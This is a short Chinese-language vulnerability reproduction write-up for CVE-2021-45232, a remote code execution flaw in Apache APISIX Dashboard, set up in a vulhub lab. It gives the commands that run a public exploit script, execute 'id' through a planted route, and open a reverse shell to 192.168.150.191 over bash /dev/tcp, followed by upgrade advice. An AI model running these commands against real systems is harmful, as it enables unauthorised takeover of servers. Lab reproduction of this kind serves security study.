漏洞概述
Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。
-
Apache APISIX Dashboard < 2.10.1
本次使用vulhub搭建本地测试环境进行复现:
第一步,执行以下命令,将vulhub环境拉取到本地。
git clone https://github.com/vulhub/vulhub
第二步,执行以下命令,启动服务。
cd vulhub-master/apisix/CVE-2021-45232
docker-compose up -d
第三步,执行docker ps命令查看容器运行状况
第四步,访问http://your-ip:9000即可看到Apache APISIX Dashboard的登录页面。
git clone https://github.com/wuppp/cve-2021-45232-exp
python3 apisix_dashboard_rce.py http://127.0.0.1:9000
curl http://127.0.0.1:9080/HLghCe -H "cmd: id"
curl http://127.0.0.1:9080/HLghCe -H "cmd: bash -c 'exec bash -i &>/dev/tcp/192.168.150.191/6666 <&1'"
受影响用户可根据影响范围中的信息,排查并升级到安全版本。下载链接:
https://github.com/apache/apisix-dashboard/releases
原文始发于微信公众号(第59号):CVE-2021-45232:Apache APISIX Dashboard RCE简析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论